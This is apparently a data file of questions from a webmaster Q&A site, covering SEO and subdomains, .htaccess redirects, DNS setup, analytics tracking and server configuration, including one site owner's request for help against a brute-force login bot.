{"id":"43003","title":"Need a study about average latency due to HTTP request and server processing time when downloading images that are a part of DOM","text":"I'm writing a thesis about css sprites and need to know the of the average HTTP request overhead when establishing a connection to download an image file that is a part of DOM. We conducted a study on one of our personal websites (the median time was 350ms) but this is server specific and can really screw up the perspective we have on the problem. Does anyone know a study that measured this for more than one server? An alternative would be some sources about average latency of serving image file by popular dedicated servers (such as nginx or Amazone S3)."}
{"id":"43006","title":"Redirecting requests to a subfolder","text":"We have multiple WordPress installations on our IIS7 (Windows Server 2008) Server as follows: http:\/\/www.example.com\/site_one http:\/\/www.example.com\/site_two http:\/\/www.example.com\/site_three These all work properly. However we would like to configure it so that when users visit the root domain (`http:\/\/www.example.com\/`) or any page underneath, ie: http:\/\/www.example.com\/ http:\/\/www.example.com\/page1 http:\/\/www.example.com\/page2 They would actually see the corresponding pages for `site_two`: http:\/\/www.example.com\/site_two\/ http:\/\/www.example.com\/site_two\/page1 http:\/\/www.example.com\/site_two\/page2 How could we achieve this?"}
{"id":"31834","title":"Remember me or not?","text":"_I was told to post this on webmasters instead of stackoverflow._ Is it safe to have the remember me feature? Would it be somewhat safe (knowing it won't be 100% safe) to allow users to close their browser and come back still logged in? I am not exacting sure which way I should go after reading different things about safety. I learned about session fixation and implemented security to add more protection. From experience, if remember me is checked then only your username\/email appears and requires you to re-enter your password. Other sites allow you to come in and out as much as you way without logging out after the browser has closed. If it is safe, what is the current best way of implementing remember\/stay logged in? * http:\/\/stackoverflow.com\/questions\/3531377\/best-practise-for-remember-me-feature * http:\/\/stackoverflow.com\/questions\/5087969\/what-is-the-code-for-stay-logged-in-or-remember-me-while-user-login-in-php * http:\/\/bytes.com\/topic\/php\/answers\/881197-stay-logged-remember-me-php-sessions-cookies * http:\/\/security.stackexchange.com\/questions\/41\/good-session-practices Also: The site I am working on is email & password login type."}
{"id":"43009","title":"Is it bad to use Japanese characters in search-friendly URLs?","text":"I'm new to SEO and I'm implementing SEO-friendly URLs in my site. The code works perfectly, however I would like to know if using Japanese characters (Kanji \/ Hiragana \/ Katakana) in the URL affects my page rank negatively? I'm making this question as most SEO-friendly URLs (say, StackExchange's) remove all non-alphanumeric characters from the question title and replaces spaces by dashes\/hyphens\/minus signs (`-`) before putting it into the URL, which is basically the approach I'm using at the moment. However, many thread in a forum that I manage utilize Japanese characters in their titles (e.g. anime\/manga titles), which would surely serve as good search keywords. So, are there any drawbacks in utilizing (properly url-encoded) Japanese characters in the URL or is it ok to use these? **update:** Couple more details\/background: * About 90% of our content comes from\/is relative to Japan; * We are a medium-sized forum where users are allowed to share and discuss content; * We are a worldwide community, but due to the points above, users are expected to have a minimum of Japanese culture; * The titles which I'm referring to are (99% of the time) not random Japanese words, but rather names that generate many hits on Google from all parts of the globe. With the points above in mind, there is no harm in adding these Japanese characters in the URL, or is there? Even though, less than 5% of the threads contain Japanese characters in the title. Therefore it shouldn't be much of an impact on SEO, but I believe it'd look a little weird to have semantic SEO-friendly URLs in English-titled threads and \"empty\" names on Japanese-titled threads. This would be considered bad pattern design, am I right?"}
{"id":"31836","title":"How to Do htaccess 301 Redirect from Old Filename Pattern to New Filename Pattern?","text":"I have a bunch of old files prefixed with \"old-\" (e.g. \"old-abcde.php\"). I need an htaccess rule to set up a 301 redirect so that any request for a file starting with \"old-\" goes to its corresponding new version (e.g. \"abcde.php\"). To be clear, I have _many_ files, not just one, so I can't do a literal filename match. I basically just need to strip off the \"old-\" from request and redirect to the version without it. I know I probably just need a simple regular expression, but I'm not good at writing them. Can anyone provide assistance?"}
{"id":"34126","title":"Password protect an alias virtual directory","text":"I have a main domain being hosted through CPanel. I also have a sub-domain that I would like to appear as a path under the main domain instead of as a sub-domain. So I have: http:\/\/example.com\/ pointing to the main hosted file. http:\/\/example.com\/mydir pointing to the subdomain files. This is achieved by a _httpd.conf_ include from the main domain section to set an alias: alias \/mydir \/path\/to\/subdomain\/files\/ Now, that works fine so far. The problem is that if a _.htaccess_ file under `\/path\/to\/the\/subdomain\/files\/` contains an error, the alias is completely skipped, and `\/mydir` goes instead to the main host files. That is kind of surprising to me - I would expect an error to return an error instead. Now the killer: if I try to password protect `\/path\/to\/subdomain\/files\/`, then trying to access `http:\/\/example.com\/mydir` will again attempt to deliver from under the main hosted files and not from `\/path\/to\/subdomain\/files\/`. I am not seeing any errors reported on the _.htaccess_ file in the apache error log, so I am assuming the _.htaccess_ is valid: AuthUserFile \/path\/to\/valid\/readable\/.htpasswd AuthName \"Secure Access\" AuthType Basic Require valid-user This kind of behavior does not seem right to me. Is there something obvious that could be causing it? Or is this just the way it works? Perhaps using an alias is the wrong way to go?"}
{"id":"15035","title":"How to point a domain to another subdomain?","text":"I'm really a newbie about this issues so excuse me if this is a rather dumb question, I'm trying to point a domain a client of mine bought to a sub-domain of mine, they're both from different companies, I'm not looking for a redirect but instead let's say his domain is www.clientdomain.com and mine is www.mydoamin.com I need to point dev.clientdomain.com to test.mydomain.com for example keeping the URL as it is, so when I visit the 'about' page it'd be dev.clientdomain.com\/about instead of test.mydomain.com\/about. I hope it makes some sense, I have seen this done before but have no idea if its using .htaccess files or changing some configuration options in the host control panel, if so I assume each host has their way of doing this so a general example would be great to point me in the right direction. Thanks in advance!"}
{"id":"16112","title":"Adding 1 subdomain using .htaccess","text":"Alright, so unlike other solutions I only want one subdomain to appear to be added. Say I wanted `example.com\/folder\/page.php` to be displayed as `foo.example.com\/folder\/page.php`, how would I go about doing this? The `foo` will never change, and it only needs to be for one page. Various other sites have been unable to provide an answer, thanks in advance. Edit: Oh, and I also have full DNS records to the domain."}
{"id":"19633","title":"Different folder and web structure","text":"Is it possible to keep a different folder structure than the web structure that users see when browsing the website? I.e. I want all my main pages to be accessed the following way: **www.example.com\/main-page-1\/** Do I need to necessarily have each page in a separate folder, or can I keep all them in the same folder and define the structure somewhere else?"}
{"id":"17571","title":"How Citing Sources in Website Content affects Google Rankings","text":"I am planning to scour various press releases from the web (particularly from science companies) and directly copy the material into my website. According to many of these companies, the press release can be directly used in our websites but you must include a source link at the bottom of the content. I suspect that many webmasters would be doing the same and hence there is a chance for Duplicate content. What do you suggest?"}
{"id":"17570","title":"Payment gateway providers in Abu Dhabi - UAE","text":"I have been tasked with setting up a reasonable size ecommerce site in Abu Dhabi (united arab emerites). It seems PayPal Pro is not available in this region. I was wondering if any one could share some experiences working in e-commerce in this region. Also any good payment gateway providers in this region."}
{"id":"34656","title":"no-CMS front end WYSIWYG website editor","text":"Is there a front end WYSIWYG website editor that can edit a webpage without having to install a CMS?"}
{"id":"44624","title":"How does google regard subdomains with regard to SEO?","text":"For example, in the past, links to www.example.com wouldn't have meant Google would pass any value to say, forum.example.com. What is the current status of this? (Please provide a reference if possible)."}
{"id":"56113","title":"can 2 sub-domains under same root domain effect each other's ranking?","text":"i have a few classifieds ads websites, each with the're own sub-domain \"city1.rootdomain.com\", \"city2.rootdomain.com\"...etc.each with about 1000 indexed pages. recently i added a street-index website under the same root domain: \"maps.rootdomain.com\". i submitted its site-map (50,000 records) to Google. after some time i noticed my classifieds website's traffic were cut almost be half. can the two be related ? are sub-domain's rankings under a same root domain divided between them ? Should i move \"maps.rootdomain.com\" under a different root domain to avoid it effecting my other websites ranking ? Thanks"}
{"id":"53920","title":"Should I make sub-domain for different kind of content?","text":"At this time I am running technology related blog and I'm tired of it because of writing only tech related articles, because of this reason I want to make a blog on sub-domain of root domain where I'll share stuff that I like and mostly stuff that make me feel good. Its content is totally going to be different from root domain's. Is it secure to make another blog on sub-domain of my main blog or should I buy new domain name. Thing is, I want to stick with my old domain name. I am going to make a sub-domain like this fun.domain.com I read somewhere that Google treat sub-domains as spam. Because it could be used to takeover search results by making too much subdomains e.g. About.com have different sub-domains for different categories but Google don't take it as spam. **Update:** Thanks for letting me know about another question about this topic. Do subdomain help\/hurt SEO. It answered my question but I want to know little more if anyone can help."}
{"id":"60088","title":"Do subdomains have an impact on a root domain?","text":"My domain discountbox.in was performing well on the Google search engine. A couple of days back we launched the blog and forum on the subdomain discuss.discountbox.in and within the next 2 days we were kind of penalized heavily. What could be the cause of this? Do subdomains have an impact on the primary domain?"}
{"id":"33217","title":"Sub domain or sub-folder?","text":"> **Possible Duplicate:** > Do subdomains help\/hurt SEO? In terms of SEO is there any advantages\/disadvantages to using a sub-domain over a sub-folder: * www.mysite.com\/company * company.mysite.com"}
{"id":"52567","title":"SEO: PageRank association in subdomains","text":"If User A is able to store the URL of his website on a very popular highly ranked website by creating his own subdomain on that website, is this at all beneficial? This may sound like a stupid question but I thought that no matter the popularity\/quality of the website which is hosting your link, in reality it is the individual page that hold the rank and so your new subdomain means nothing as it is not yet cached by search engines, let alone is it even ranked! Am I right here, or is there indeed a hopeful transferal of at least some authority to subdomains of a popular domain? Lastly would you say it is the job of the website admin to submit his new content for inclusion, or is that our job?"}
{"id":"61461","title":"New domain vs Subdomain vs new Folder for each new project","text":"If I have a domain like `http:\/\/example.com\/` which would be the best to use for every new project I create. Would it be a subdomain `http:\/\/exampleprojectname.example.com\/` or a new domain `http:\/\/exampleprojectname.com\/` or a new folder `http:\/\/example.com\/exampleprojectname`. Which one would be the best and good for seo."}
{"id":"17578","title":"About rel=\"nofollow\" inside links","text":"I'm curious about this since many website use `rel=\"nofollow\"` and I don't know why. If you have a site that's ranked very good in Google, and you don't add rel=\"nofollow\" to links inside article comments, how does that affect your rank? What if someone posts a comment with a link to a viagra website? Does that lower the rank of your site?"}
{"id":"3494","title":"Are page ranks for subdomains independent?","text":"If I have a domain name say `stackexchange.com` and I want to host 2 sites X and Y as subdomains of that site. Will `x.stackexchange.com` help out `y.stackexchange.com` in page rank? Or will google treat them as 2 separate sites as far as page rank is concerned? Is there any SEO benefit at all? The question stems from this post and its answers and comments by the way: http:\/\/meta.webapps.stackexchange.com\/questions\/624\/webapps-stackexchange-com- verus-nothingtoinstall-com Comments like this one and others: > No doubt the site will be great either way. But all things being equal > questions from a \"smaller site\" (with less traffic and less overall > linkbacks as far as Google is concerned) will have a lower Google ranking > than if the site is \"seen\" as part of a huge network (made up of all the SE > sites combined) with ONE top-level domain. Is it worth it? – Robert > Cartaino♦ 2 days ago Or this one: > Is it worth sacrificing the network effect of being on the Stack Exchange > Network AND the lower Google ranking on every question (smaller sites will > have lower rankings than a large network) to have the independent domain > name? That's what I am asking. – Robert Cartaino♦ 2 days ago Or this one: > @alexanderpas correct, and nothing will destroy that search ranking faster > than splitting pagerank across 25+ unique domain names. – Jeff Atwood♦ > yesterday"}
{"id":"13401","title":"Domain manager to consolidate many domain here and there","text":"I have about 20 domains to manage. Some registered to the client (i impersonated him) and other register by me, under different name and address (over the years). I like to get ALL THE DOMAINS under one roof, one easy to manage all the registration and order in one place.. what do you suggest... * once in my life, i have try doteasy, which make domain managing super easy, but i don't like the prices..."}
{"id":"2094","title":"Feedback\/bug tracking system for an alpha\/beta phase website?","text":"I'm developing a website and it's closing onto a private alpha\/beta phase. It will be exposed to a small selected group of individuals who will provide a fair amount of feedback. What options do I have for this feedback system? I would certainly like to make it collaborative (excluding email). I could mock up a really simple message board, but would rather use my time elsewhere. The feedback will mainly consist of feature suggestions and bug reports. Edit: Actually, would prefer if it's a free hosted service."}
{"id":"13405","title":"Can I use Google Analytics to count QuickTime installations?","text":"By default, Google Analytics produces reports on which versions of Flash and Java my users have. Is it possible to set up a report on which versions of QuickTime (if any)"}
{"id":"4575","title":"How can I clear the \"crawl errors\" of Google webmaster tools?","text":"How can I clear the \"crawl errors\" of Google webmaster tools? On my webmaster tools page, there are some \"Not found\" crawl errors dating back two years which I cleared up a long time ago, but they are still hanging around on webmaster tools. I thought they would go away naturally once the mistaken links were fixed, but they don't seem to. Is there any way to clear old crawl errors manually?"}
{"id":"4576","title":"How does client side XML+XSLT affect SEO?","text":"I have a site that is built completely in XML and is transformed by a single XSL file. How does this affect SEO? Is it possible to store page-specific metadata? Will robots see the transformed page (the result of the XSL stylesheet) or the plain XML?"}
{"id":"13515","title":"Rounded corners in IE7 and IE8","text":"Now every major browser supports `border-radius`, I was wondering what the best way to get rounded corners in IE7 and IE8 is until IE9+ becomes most dominant version of IE. I've seen several javascript based solutions, but I was wondering if anyone could recommend one they've used themselves?"}
{"id":"13514","title":"Advice on web app to make pdf (documents) library","text":"I want to create an online pdf library. Is there any free solution exist, CMS or something? It should allow to upload pdfs, search documents and download them Thank you!"}
{"id":"44762","title":"How can I figure out what technologies a site is built on?","text":"I'm researching building a site by looking at what other people have done but I don't know how to determine what technologies or platforms are being used. How can I tell what any given site is running when I visit it?"}
{"id":"12028","title":"Indexing search results","text":"Is this good for SEO? I see some sites doing it, I find their results on Google and click on them, do they do work right? Given a site search, someone searches for: 'Peanut Salad' The search is processed on the URL http:\/\/www.domain.com\/Search\/Peanut-Salad The results are returned, nice meta tags\/titles generated, etc. The search can then appear on a list of 'popular searches' on some page on the site. These can be manually filtered to prevent spammers gaining entries on the list. Is this worth doing? Good to get more visitors from engines? Is it useful for them?"}
{"id":"55822","title":"WAMP icon suddenly orange","text":"**I've been running WAMP for like 6 months+** with Skype (also did the Skype port change just for the sake of it) - **with no problems**. Today I open up WAMP -> get a green icon ->I then add an \"alias\" to the \"alias directory\" (already have 10+ other aliases working) -> **WAMP restarts and stay on the ORANGE icon** :\/ * I've installed nothing new on my computer for ages * I haven't changed any settings for ages * I've restarted the computer several times * I've closed down Skype and opened WAMP afterwards I checked both MySQL + Apache log, but don't seem to see any errors. MYSQL -------------------- 131205 16:42:07 [Note] wampmysqld: Normal shutdown 131205 16:42:07 [Note] Event Scheduler: Purging the queue. 0 events 131205 16:42:07 InnoDB: Starting shutdown... 131205 16:42:08 InnoDB: Shutdown completed; log sequence number 54497659 131205 16:42:08 [Note] wampmysqld: Shutdown complete 131205 16:42:13 [Note] Plugin 'FEDERATED' is disabled. 131205 16:42:13 InnoDB: The InnoDB memory heap is disabled 131205 16:42:13 InnoDB: Mutexes and rw_locks use Windows interlocked functions 131205 16:42:13 InnoDB: Compressed tables use zlib 1.2.3 131205 16:42:13 InnoDB: Initializing buffer pool, size = 128.0M 131205 16:42:13 InnoDB: Completed initialization of buffer pool 131205 16:42:13 InnoDB: highest supported file format is Barracuda. 131205 16:42:13 InnoDB: Waiting for the background threads to start 131205 16:42:14 InnoDB: 1.1.8 started; log sequence number 54497659 131205 16:42:14 [Note] Server hostname (bind-address): '(null)'; port: 3306 131205 16:42:14 [Note] - '(null)' resolves to '::'; 131205 16:42:14 [Note] - '(null)' resolves to '0.0.0.0'; 131205 16:42:14 [Note] Server socket created on IP: '0.0.0.0'. 131205 16:42:14 [Note] Event Scheduler: Loaded 0 events 131205 16:42:14 [Note] wampmysqld: ready for connections. Version: '5.5.24-log' socket: '' port: 3306 MySQL Community Server (GPL) -------------------- APACHE ERROR LOG -------------------- [Thu Dec 05 15:30:52 2013] [warn] pid file C:\/wamp\/bin\/apache\/apache2.2.22\/logs\/httpd.pid overwritten -- Unclean shutdown of previous Apache run? [Thu Dec 05 15:30:52 2013] [notice] Apache\/2.2.22 (Win64) PHP\/5.3.13 configured -- resuming normal operations [Thu Dec 05 15:30:52 2013] [notice] Server built: May 13 2012 19:41:17 [Thu Dec 05 15:30:52 2013] [notice] Parent: Created child process 9272 [Thu Dec 05 15:30:52 2013] [notice] Child 9272: Child process is running [Thu Dec 05 15:30:52 2013] [notice] Child 9272: Acquired the start mutex. [Thu Dec 05 15:30:52 2013] [notice] Child 9272: Starting 64 worker threads. [Thu Dec 05 15:30:52 2013] [notice] Child 9272: Starting thread to listen on port 100. [Thu Dec 05 15:30:52 2013] [notice] Child 9272: Starting thread to listen on port 100. [Thu Dec 05 15:30:52 2013] [notice] Child 9272: Starting thread to listen on port 100. [Thu Dec 05 15:30:52 2013] [notice] Child 9272: Starting thread to listen on port 80. [Thu Dec 05 15:30:52 2013] [notice] Child 9272: Starting thread to listen on port 80. [Thu Dec 05 15:31:12 2013] [notice] Parent: Received shutdown signal -- Shutting down the server. [Thu Dec 05 15:31:12 2013] [notice] Child 9272: Exit event signaled. Child process is ending. [Thu Dec 05 15:31:13 2013] [notice] Child 9272: Released the start mutex [Thu Dec 05 15:31:14 2013] [notice] Child 9272: All worker threads have exited. [Thu Dec 05 15:31:14 2013] [notice] Child 9272: Child process is exiting [Thu Dec 05 15:31:14 2013] [notice] Parent: Child process exited successfully. --------------------"}
{"id":"31464","title":".htaccess and gzip compression","text":"i have question about GZIP compression, actualy my wordpress website doesn't have .htaccess to be able to use that feature, so can i create .htaccess file only for gzip, it won't change anything on website?"}
{"id":"51837","title":"Resized background images blurred in desktop Safari","text":"The website I'm creating (test6.lazyfoxdesign.co.uk) is responsive and makes heavy use of images for the background. I use high resolution images and scale them down using CSS for smaller resolutions. In all web browsers, except desktop Safari images are nice and sharp. I attached screenshot of the issue. Google Chrome on left and Safari on right.  Source: http:\/\/imgur.com\/e3EmrQS (Enlarge the imgur image to see difference.) In the screenshot below (actual size) Chrome is top, Safari is bottom: "}
{"id":"66924","title":"What is the different between these two sets of Google Analytics tracking code?","text":"Does anyone know the different between these two sets of code for Drupal Google Analytics module? Which one is correct? ** ### Code 1: ** **_before_** _gaq.push([\"_setDomainName\", \"none\"]); _gaq.push([\"_setAllowLinker\", true]); **_after_** _gaq.push([\"_setAccount\", \"UA-XXXXX-X-2\"]); _gaq.push([\"_setDomainName\", \"none\"]); _gaq.push([\"_setAllowLinker\", true]); _gaq.push([\"_trackPageview\"]); ** ### Code 2: ** **_before_** _gaq.push([\"_setDomainName\", \"none\"]); _gaq.push([\"_setAllowLinker\", true]); **_after_** _gaq.push([\"b._setAccount\", \"UA-XXXXX-X-2\"]); _gaq.push([\"b._setDomainName\", \"none\"]); _gaq.push([\"b._setAllowLinker\", true]); _gaq.push([\"b._trackPageview\"]); I found these codes from here and from Google; the 2nd one is from Google with \"b.\""}
{"id":"42790","title":"What is the most effective way to obtain SEO benefits from content while still protecting most of it behind a paywall?","text":"I'd like for search engines to recognize the content that is hosted on my website, but I'd also like to protect most of it behind a paywall. Are there any proven strategies for doing this?"}
{"id":"36049","title":"I think there is a problem with my url encoding","text":"I took someone's advice and started encoding my image sources, but Google doesn't seem to be able to decode them. I probably did something wrong, because basically Google is taking the full path as the image's name. See this page as an example. If you go on the top most thumbnail and do \"Save as\", you will see the path is not being decoded. Should I stop decoding or am I doing it wrong? Should I encode only the image name itself? Thanks!"}
{"id":"20600","title":"Does valid HTML, CSS and\/or XML affect SEO?","text":"Can a page's HTML validity affect search engine optimization (SEO)? Assuming all other factors are exactly equal, will an HTML document with 0 errors and 0 warnings (W3C provides a tool to validate your HTML validator.w3.org) rank better than a page with 20 errors and 10 warnings? Does markup validity apply to CSS and RSS as well?"}
{"id":"20603","title":"Does adding LinkedIn button to a website result in cookies that track users?","text":"We are planning to add the LinkedIn button in our website. But the restriction we are having is, the website should not use the cookies which collect the personal information. No impersonation. But I read the LinkedIn website privacy policy, which says it uses both persistent and session cookie. So i need some more inputs on this one - is LinkedIn website tracking the user's login information ??"}
{"id":"27924","title":"How do I temporarily shut down my MediaWiki?","text":"I have installed MediaWiki on my website. I want to shut it down temporarily, until I completely fill it with articles. Is this possible? Is there any maintenance shut down feature? (Version: 1.18.1)"}
{"id":"27927","title":"Google search result showing unknown results","text":"I'm facing serious issues with Google search results. 'Till yesterday everything was fine. Today when I search with my top ranking keyword, Google gives some other URL with my website's title & description. If I open that site it's getting redirected to my site. Please tell me how to fix this."}
{"id":"52784","title":"How do I capture incoming HTTP requests for analysis?","text":"I have a site that is hit pretty hard by a 'bot script that thinks it is possible to brute-force the `Admin` password by \"trying\" out different passwords with the username \"Admin\". Here is an excerpt from my log: uname password IP-address -------+--------+------------------- 'Admin' '300283' IP: 220.250.61.78 'Admin' '300284' IP: 94.255.35.226 'Admin' '300281' IP: 176.108.152.178 'Admin' '300191' IP: 109.162.54.139 'Admin' '300280' IP: 213.87.138.83 'Admin' '300193' IP: 2.242.0.165 A typical request from the bot is logged like this in Apache's `access_log` and since it is `POST` the interesting bit (i.e. that it tries to login on the admin user) is not in the header. 109.162.54.139 - - [08\/Sep\/2013:17:52:44 +0200] \"POST \/user HTTP\/1.1\" 200 20571 \"http:\/\/example.org\/user\" \"Mozilla\/5.0 (Windows NT 5.1) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/28.0.1500.72 Safari\/537.36\" The 'bot does about 8 login request per second, and it has been doing this for four days so far. The site attacked is owned by a completely uncontroversial NGO. I run it pro bono on a small shared host. The configuration doesn't really scale well for this sort of thing, so performance suffers. It is obviously a pretty stupid script, because when I set up Apache to reply 403 to _every_ request from everone except from my IP, it just kept going on as nothing had changed. (Doing so restored performance, so if I can get this blocked by Apache, I've won.) As you can see from the log excerpt, whoever's doing this commands a botnet with a vast number of IP-addresses. Going through the logs, I notice that it very seldom reuses an IP-address, so blocking the IP-adresses, as suggested in the upvoted answer to this question: Tactics for dealing with misbehaving robots is _not_ an option. Btw: there is no account with username \"Admin\" on the system, nor is there any sensitive or valuable information on the system, so it puzzles me why anyone is doing this. One thing I want to try out is to analyzing the incoming requests, I hope I shall be able discover some sort of pattern. And when I've found a pattern, set up some rule in Apache to block requests matching the pattern. But I have no idea how to capture the incoming requests for analysis, so my question is: How do I capture the POST part of incoming HTTP requests for analysis?"}
{"id":"17790","title":"Pointing from domain registrar to host: Name Servers vs A Records","text":"What are the performance or any other considerations involved when deciding whether to use Name Servers or A Records when pointing your domain registrar to your website host? **My case:** I have a domain registered with Network Solutions, email with Network solutions, and a website hosted on GoDaddy. My thought here is that I point the A Record to GoDaddy, because it's my only option without breaking email. However, if I were not using any Network Solutions services, would it be better just to point the name servers to GoDaddy?"}
{"id":"53369","title":"Can Google see CSS transitions?","text":"I heard that Google \"rewards\" you for styling the links differenty from other text that are not ought to be clicked. It makes sense I guess. But what if my links are black, like the rest of the page, but they go red or some other \"flashy\" color when hovered with mouse? I know this won't happen in mobile devices, but will it stil make Google understand that they are links? And is it a good idea to place the links as h3 or h4 headings ? Since they are titles of articles, it makes sense to me. But I heard bad things about that, too."}
{"id":"60690","title":"Google Analytics Funnel With Steps for Google, Facebook or Twitter Login","text":"I have a goal in my site for users to download some content, but they need to be logged in. So, if they are not the system prompts them to either login or register. For both these actions they can use services like Google accounts, Facebook ID, Twitter ID, etc. How can I create a funnel in Google Analytics, where the people that leave to login with Google, and come back to finish the goal, don't drop off?"}
{"id":"23591","title":"Can Schema.org properties be including in existing tags?","text":"The examples on schema.org seem to indicate adding addition tagging to indicate item properties is the norm. However, can these be added with an existing tag? For instance in the following line of code: <span itemprop=\"price\" id=\"product_price\" style=\"white-space: nowrap;\"> Would the search engines supporting schema.org microformats detect this property?"}
{"id":"57648","title":"Should I replace non-user friendly URLs with friendly ones, and if so, how?","text":"I have just added my site to Google Web Master Tools and discovered that some links (for example: In the section \"Search Query \/ Top pages\") have a URL format like: `example.com\/page.php?id=1234` This format can also work, but all my internal links have a format like: `example.com\/1234`. So I can only suppose that Google had scanned all those links before I made changes to my _.htaccess_ file. My questions are: 1. Should I care about those non-user friendly links already in the index and hope that Google will correct itself soon? 2. If I should - how do I remove those wrong links and replace with correct ones?"}
{"id":"67844","title":"Dealing with Domain Parkers when the Domain is Older than the Trademark","text":"I would have asked this in the Startups SE site but it's closed now and the topic of this site seems the best for for my question. I'm working on a startup, and I've chosen a name. The .com is already registered by a domain parker. I understand that it's illegal to register a domain using someone else's trademark name and that the domain can be retrieved via legal action, but is it possible to force a domain parker to hand over a domain when he or she registered the domain before I register my company name?"}
{"id":"46982","title":"Login Prompts in mod_auth_sspi showing up for aliased sites only","text":"I've been trying to figure this out off and on for a few days now, and I think I just have a fundamental lack of understanding :) I have Apache2 running in a windows environment serving up our company intranet. I'd like to be able to pass through the windows authenticated user so that I'm able to use it on the PHP side. At the moment, it's sort of working. If I set up a virtual host that resolves directly to the server name, everything works as expected if I browse to http:\/\/ webserver <VirtualHost *:80> DocumentRoot \"C:\/www\/test\/public\" ServerName WEBSERVER <Directory \"C:\/www\/test\/public\"> Options Indexes MultiViews FollowSymLinks AllowOverride All Order allow,deny Allow from all AuthName \"Test\" AuthType SSPI SSPIAuth On SSPIAuthoritative On SSPIOmitDomain On SSPIUsernameCase Upper SSPIPackage NTLM SSPIPerRequestAuth on require valid-user <\/Directory> <\/VirtualHost> In this case, WEBSERVER is the name of the actual machine in the domain that hosts our internal sites. If I use an alias that resolves to WEBSERVER, I get the prompt that asks me for my user\/pass (which successfully validates if I provide the correct details). This example generates the prompt if I browse to http:\/\/ sub.internaldomain.com, where sub.domain.com resolves to WEBSERVER: <VirtualHost *:80> DocumentRoot \"C:\/www\/test2\/public\" ServerName sub.internaldomain.com <Directory \"C:\/www\/test2\/public\"> Options Indexes MultiViews FollowSymLinks AllowOverride All Order allow,deny Allow from all AuthName \"Test2\" AuthType SSPI SSPIAuth On SSPIAuthoritative On SSPIOmitDomain On SSPIUsernameCase Upper SSPIPackage NTLM SSPIPerRequestAuth on require valid-user <\/Directory> <\/VirtualHost> Both tests are bare bones Zend Framework applications that are just trying to dump out $_SERVER. The first example above gives me the correct REMOTE_USER value while the second example has it if I enter in a valid user\/pass on the prompt (or not at all if I remove the valid-user requirement). Any thoughts??"}
{"id":"46987","title":"Ad network to target a specific browser only","text":"I'm looking for an ad network which allows me to target only users with a specific browser. I want to advertise my online app which only works in one of the major 3 browsers. I've looked at some of the more popular ad networks but I haven't found any."}
{"id":"21508","title":"Twitter Product Preview on Tweets","text":"I just saw that twitter can also preview the products as it is on below Tweet: http:\/\/twitter.com\/#!\/gillcleeren\/status\/131640082397528065 In this case, it is an Amazon product. I was wondering how we can enable this for our website? Do we have control over this or Twitter chooses web sites for this feature which they want?"}
{"id":"42204","title":"Does google use transliteration when crawling page URLs and indexing them?","text":"In a generic search Google understands transliteration and if I wrote some words using Latin letters but in a non-English language ( for instance phrase \"red cat\" in Russian using transliteration will be \"krasnii kot\" ) will Google suggest this phrase in Cyrillic and do a search in Russian texts? Thinking in terms of a web shop and that the URLs for product pages contain transliteration, will Google index them as well?"}
{"id":"50582","title":"Is anyone restricted to use metro ui in websites?","text":"I found metro User Interface will suit my website's look. I would like a tiled Dashboard with grouped items like Windows 8 start menu and button style and text style identical to metro user interface. So can I do it or am I restricted use the design in my website?"}
{"id":"21098","title":"Mobile browser statistics by versions?","text":"> **Possible Duplicate:** > What mobile browsers for testing? Where can I find more detailed mobile usage statistics so I know which devices to test on? This link gives info by OS, but not by version. http:\/\/gs.statcounter.com\/#mobile_os-ww-monthly-201009-201109 For instance in the UK BlackBerry is quite popular, but I don't know what age of device I don't need to test on."}
{"id":"48469","title":"Reading .mht webpages from server","text":"We have some `.mht` files which load fine from local files but when loaded from the remote webserver display as junk text. What can I do to make them work correctly from our webserver?"}
{"id":"48468","title":"Tracking multiple domains while obtaining single reports also","text":"I own 4 websites site1.com shop.site.com site2.com site3.com Using this information I will get a global report that shows how websites interacts. How to keep getting separate reports for every website also?"}
{"id":"48466","title":"create redirect of subdomain","text":"I have a new app server that will run an ftp server and a few other things. It won't run a web server. I want to put that app server on a subdomain so that I can access it. So ultimately I will be creating an A record to point to the static IP I have setup for that. But before I do that I want to test out using this subdomain. So I will setup the subdomain to just point to my main site for now (with an A record - as suggested in this post). What is the best way to redirect my subdomain to my main site? I want to make sure I don't get dinged for duplicate content. I also noticed that by default `ftp` is a subdomain provided by GoDaddy. So if you type: `http:\/\/ftp.mysite.com` that goes to my site. Wouldn't Google treat this as a duplicate site?"}
{"id":"23597","title":"registered a new domain from a different provider (onlydomains.com)","text":"I registered biowattsonline.com from GoDaddy a few months ago. I have it using Zerigo DNS. Now I have registered biowatts.cn from onlydomains.com In Heroku (hosting a Rails application) I added 3 domains: biowattsonline.com www.biowattsonline.com cn.biowattsonline.com (I can't add another base name) How do I configure in onlydomains.com so that I can forward biowatts.cn to biowattsonline.com or even cn.biowattsonline.com ? biowatts.cn => biowattsonline.com biowatts.cn => cn.biowattsonline.com And what is the best practices around having different domains names for the same application?"}
{"id":"48463","title":"if I specify a wildcard dns entry will it override any specific values?","text":"I have cheese.mycompany.com - 1.1.1.1 I want to go *.mycompany.com = 1.1.1.2 without effecting cheese ? Will this work, just having two seprate dns entries ?"}
{"id":"67139","title":"Track subscription form that redirects to an external URL with Google Tag Manager","text":"I have a Gravity Form subscription form that I am currently tracking by triggering an even on the confirmation page using Google Tag Manager. However, very soon this form will redirect to a page on a different domain with a few parameters passed in the url. This means I would have to track the event on submit instead. I have tried the Form submit listener, click listener and link click listener and nothing seems to work. I think I might be grabbing the wrong id\/class. I also want to make sure that the event only gets triggered after the form has been validated. Below is the complete form code: <div class=\"gf_browser_ie gf_browser_ie8 gform_wrapper\" id=\"gform_wrapper_1\"> <form method=\"post\" enctype=\"multipart\/form-data\" id=\"gform_1\" action=\"\/\"> <div class=\"gform_body\"> <ul id=\"gform_fields_1\" class=\"gform_fields top_label description_below\"> <li id=\"field_1_2\" class=\"gfield\"> <label class=\"gfield_label\" for=\"input_1_2\">Name<\/label> <div class=\"ginput_container\"> <input name=\"input_2\" id=\"input_1_2\" type=\"text\" value=\"\" class=\"large\" tabindex=\"1\"> <\/div> <\/li> <li id=\"field_1_1\" class=\"gfield\"> <label class=\"gfield_label\" for=\"input_1_1\">Email<\/label> <div class=\"ginput_container\"> <input name=\"input_1\" id=\"input_1_1\" type=\"email\" value=\"\" class=\"large\" tabindex=\"2\"> <\/div> <\/li> <li id=\"field_1_3\" class=\"gfield gform_hidden\"> <input name=\"input_3\" id=\"input_1_3\" type=\"hidden\" class=\"gform_hidden\" value=\"17\/07\/2014\"> <\/li> <li id=\"field_1_4\" class=\"gfield gform_hidden\"> <input name=\"input_4\" id=\"input_1_4\" type=\"hidden\" class=\"gform_hidden\" 